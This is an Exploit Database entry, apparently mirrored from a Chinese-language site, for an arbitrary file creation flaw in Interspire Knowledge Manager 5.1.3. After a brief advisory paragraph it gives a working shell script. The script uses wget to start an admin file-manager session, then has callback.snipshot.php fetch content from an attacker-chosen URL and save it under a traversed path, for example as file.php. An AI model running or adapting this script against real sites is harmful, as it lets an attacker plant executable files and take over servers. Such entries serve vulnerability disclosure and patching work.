Interspire Knowledge Manager 5 – ‘callback.snipshot.php’ Arbitrary File Creation

• Exploit Database
• 38 阅读

• 作者： Cory Marsh
  日期： 2010-02-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33636/

• source: https://www.securityfocus.com/bid/38186/info
  
  Interspire Knowledge Manager is prone to a vulnerability that allows attackers to create arbitrary files on a vulnerable computer.
  
  An attacker may exploit this issue to create arbitrary files, which may then be executed to perform unauthorized actions. This may aid in further attacks.
  
  Knowledge Manager 5.1.3 is vulnerable; other versions may also be affected. 
  
  # #!/bin/sh
  # echo "$0 <target_url> <relative_path_from_admin_dir> <file_name>
  <content_url>
  # example: $0 http://target.com/knowledge_base ../../../ file.php
  http://source
  # if kb is installed at knowledge_base, then the file: file.php will be
  # created in the base application directory from the content at
  http://source
  # "
  # sessionUrl=$1'/admin/de/dialog/file_manager.php'
  # uploadUrl=$1'/admin/de/dialog/callback.snipshot.php'
  # wget -O r1 --save-cookies tmp.cookies --keep-session-cookies
  "$sessionUrl?userdocroot=$2&imgDir=&obj=1"
  # echo "session created, setting file name $2$3"
  # wget -O r2 --keep-session-cookies --load-cookies tmp.cookies
  "$uploadUrl?action=step1&source_image=name&save_file_as=$3"
  # echo "upload content from: $4 ..."
  # wget -O r3 --keep-session-cookies --load-cookies tmp.cookies
  "$uploadUrl?action=step2&source_image=name&save_file_as=$3&snipshot_output=$4"
  # echo "file created test access to the script at: $1/admin/de/dialog/$2$3";